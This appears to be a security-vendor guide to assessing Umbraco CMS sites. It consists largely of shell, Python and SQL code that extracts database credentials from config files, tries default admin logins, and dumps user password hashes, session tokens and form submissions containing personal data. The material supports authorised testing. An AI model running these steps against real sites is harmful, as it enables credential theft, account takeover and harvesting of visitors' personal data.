Umbraco is one of the most popular .NET CMS platforms, powering hundreds of thousands of websites on ASP.NET. Key assessment areas: web.config (Umbraco 7-8) or appsettings.json (Umbraco 9+) exposes SQL Server connection strings with credentials; admin credentials at /umbraco use HMAC-SHA1 or bcrypt; the umbracoUser table contains all editor and admin accounts; and the Umbraco media library stores uploaded files at predictable paths. This guide covers systematic Umbraco security assessment.
# Umbraco — web.config and appsettings.json SQL Server credential extraction
UMBRACO_URL="https://site.example.com"
# Umbraco 7-8: web.config — SQL Server connection string
# Location: /var/www/umbraco/web.config or C:\inetpub\wwwroot\umbraco\web.config
python3 -c "
import xml.etree.ElementTree as ET
tree = ET.parse('/var/www/umbraco/web.config')
root = tree.getroot()
ns = {'ns': 'http://schemas.microsoft.com/.NetConfiguration/v2.0'}
for cs in root.findall('.//connectionStrings/add'):
name = cs.get('name','')
conn = cs.get('connectionString','')
if 'umbraco' in name.lower() or 'Password' in conn:
print(f'Name: {name}')
print(f'ConnectionString: {conn[:120]}')
" 2>/dev/null
# Data Source=...;Initial Catalog=umbraco;User Id=umbraco;Password=...
# Umbraco 9+: appsettings.json — new config format
python3 -c "
import json
d=json.load(open('/var/www/umbraco/appsettings.json'))
conn=d.get('ConnectionStrings',{}).get('umbracoDbDSN','')
print(f'umbracoDbDSN: {conn[:120]}')
" 2>/dev/null
# Check web.config web exposure (should be blocked by IIS handler)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${UMBRACO_URL}/web.config" 2>/dev/null)
echo "/web.config: HTTP ${STATUS}"
# Umbraco version disclosure
VERSION=$(curl -s "${UMBRACO_URL}/umbraco/api/keepalive/ping" 2>/dev/null | \
grep -oP '"umbracoVersion":"\K[^"]+' | head -1)
echo "Umbraco version: ${VERSION:-check /umbraco}"
# Test default admin credentials
for CRED in "admin@example.com:admin" "admin@domain.com:password" "umbraco@example.com:Admin123"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${UMBRACO_URL}/umbraco/backoffice/UmbracoApi/Authentication/PostLogin" \
-H "Content-Type: application/json" \
-d "{\"username\":\"${EMAIL}\",\"password\":\"${PASS}\"}" \
-c /tmp/umb_c 2>/dev/null)
echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done
# Umbraco admin panel — backoffice API and media library assessment
UMBRACO_URL="https://site.example.com"
# Umbraco backoffice REST API (authenticated)
# With valid admin credentials, use backoffice API
ACCESS_TOKEN="extracted-umbraco-token"
# List all content nodes
curl -s "${UMBRACO_URL}/umbraco/backoffice/UmbracoApi/Content/GetById?id=-1" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | head -20
# List media library files
curl -s "${UMBRACO_URL}/umbraco/backoffice/UmbracoApi/Media/GetRootMedia" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | \
python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for item in (d if isinstance(d,list) else [d])[:5]:
print(f' {item.get(\"name\")} — {item.get(\"mediaLink\")}')
except: pass
" 2>/dev/null
# Umbraco media files are typically at /media/[number]/[filename]
# Enumerate media paths
for NUM in $(seq 1001 1010); do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${UMBRACO_URL}/media/${NUM}/" 2>/dev/null)
echo "/media/${NUM}/: HTTP ${STATUS}"
done
# Check for Umbraco Forms data (if Umbraco Forms package installed)
curl -s "${UMBRACO_URL}/umbraco/backoffice/UmbracoForms/Form/GetAllForms" \
-H "Authorization: Bearer ${ACCESS_TOKEN}" 2>/dev/null | head -10
# Umbraco SQL Server database — umbracoUser hash and admin account extraction
# Using sqlcmd or pyodbc
SA_PASS="extracted-sa-or-umbraco-password"
DB="umbracoDbDSN"
sqlcmd -S localhost -U umbraco -P "${SA_PASS}" -d Umbraco -Q "
-- Umbraco 7-8: umbracoUser table
SELECT u.id, u.userName, u.userEmail,
u.userPassword, -- HMAC-SHA1 or bcrypt
u.userType, -- 1=admin group, 0=writer
u.userDisabled, u.userNoConsole,
u.createDate, u.updateDate,
u.lastLoginDate, u.lastPasswordChangeDate
FROM dbo.umbracoUser u
WHERE u.userDisabled = 0
ORDER BY u.id;
-- userPassword: Umbraco 7 = HMAC-SHA1; Umbraco 8+ = bcrypt
-- userType=1: administrative user group
-- Umbraco 9+ uses umbracoUser with different schema
SELECT id, userName, email, password, passwordConfig,
securityStamp, failedLoginAttempts,
isLockedOut, isApproved, createDate, updateDate
FROM dbo.umbracoUser
ORDER BY id;
-- password: bcrypt (Umbraco 9+); passwordConfig describes algorithm
-- User access tokens / remember-me tokens
SELECT t.id, t.userId, t.token, t.name,
t.createdUtc, t.expiresUtc
FROM dbo.umbracoUserLogin t
ORDER BY t.createdUtc DESC;
-- Umbraco Forms submitted data (if installed)
SELECT f.id AS form_id, f.name AS form_name
FROM dbo.UForms f
ORDER BY f.id;
SELECT r.id, r.form AS form_id,
r.ip, r.created, r.serverVariables, r.recordFields
FROM dbo.UFormRecords r
ORDER BY r.created DESC;
-- recordFields: JSON-encoded form submission data — may contain PII, contact info
" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| web.config SQL Server connection string credential extraction | Read web.config connectionStrings — SQL Server User Id and Password; full umbracoUser hash and Umbraco Forms submission data access | Critical |
| umbracoUser HMAC-SHA1/bcrypt hash extraction with admin identification | SQL SELECT userPassword, userType FROM umbracoUser — HMAC-SHA1 (Umbraco 7) or bcrypt; userType=1 = admin group membership | High |
| Admin credential brute-force at /umbraco/backoffice | POST /umbraco/backoffice/UmbracoApi/Authentication/PostLogin — admin credentials; backoffice access enables content management, media upload, user creation | High |
| UFormRecords Umbraco Forms PII extraction | SQL SELECT from UFormRecords — all form submission data including names, emails, phone numbers, and custom fields from all website forms | High |
| umbracoUserLogin access token enumeration | SQL SELECT from umbracoUserLogin — active session tokens; token replay enables authenticated backoffice access without password | High |
Ironimo tests Umbraco deployments for web.config connectionStrings SQL Server credential extraction, appsettings.json umbracoDbDSN Umbraco 9+ connection string extraction, admin credential brute-force at /umbraco/backoffice/UmbracoApi/Authentication/PostLogin, umbracoUser HMAC-SHA1 and bcrypt hash extraction with userType admin identification, umbracoUserLogin session token enumeration enabling session replay, UFormRecords Umbraco Forms PII submission data access, media library /media/ file access without authentication, Umbraco version disclosure via /umbraco/api/keepalive/ping for CVE targeting, and IIS configuration assessment for web.config exposure.
Start free scan